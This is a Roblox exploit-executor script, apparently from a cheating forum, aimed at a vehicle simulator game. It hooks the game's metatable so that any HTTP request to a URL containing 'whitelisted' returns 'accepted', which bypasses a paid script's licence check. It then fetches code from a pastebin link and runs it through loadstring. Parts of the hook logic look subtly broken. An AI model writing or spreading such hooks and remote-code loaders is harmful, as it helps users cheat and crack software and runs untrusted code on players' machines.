learn xpcall

assert(getrawmetatable, "nope")
local mt   = getrawmetatable(game)
local call = mt.__namecall
local indx = mt.__index
local newcclosure = newcclosure or function(f)
    return f
end

local callcheck = checkcaller or is_protosmasher_caller
local write     = setreadonly or make_writeable

xpcall(function()
    write(mt, false)
end, function()
    error'cant make metatable writeable'
end)

mt.__index = newcclosure(function(t, k)
    if t == game and callcheck() then
        if k == 'HttpGet' then
            return newcclosure(function(self, url, ...)
                return game:HttpGet(url, ...)
            end)
        elseif k == 'HttpGetAsync' then
            return newcclosure(function(self, url, ...)
                return game:HttpGetAsync(url, ...)
            end)
        end
    end
    return indx(t, k)
end)

mt.__namecall = newcclosure(function(self, ...)
    local pack = {...}
    local method = table.remove(pack)

    if method == 'HttpGet' or method == 'HttpGetAsync' and callcheck() then
        local url = tostring(pack[1])
        if string.find(url, "whitelisted") then
            return "accepted        "
        end
    end

    return call(self, ...)
end)

loadstring(game:HttpGet("https://pastebin.com/raw/NxLHGZy5", true))()


--https://www.roblox.com/games/171391948/Update-Vehicle-Simulator-Beta
-- syntax highlighter by josh @v3rmillion.net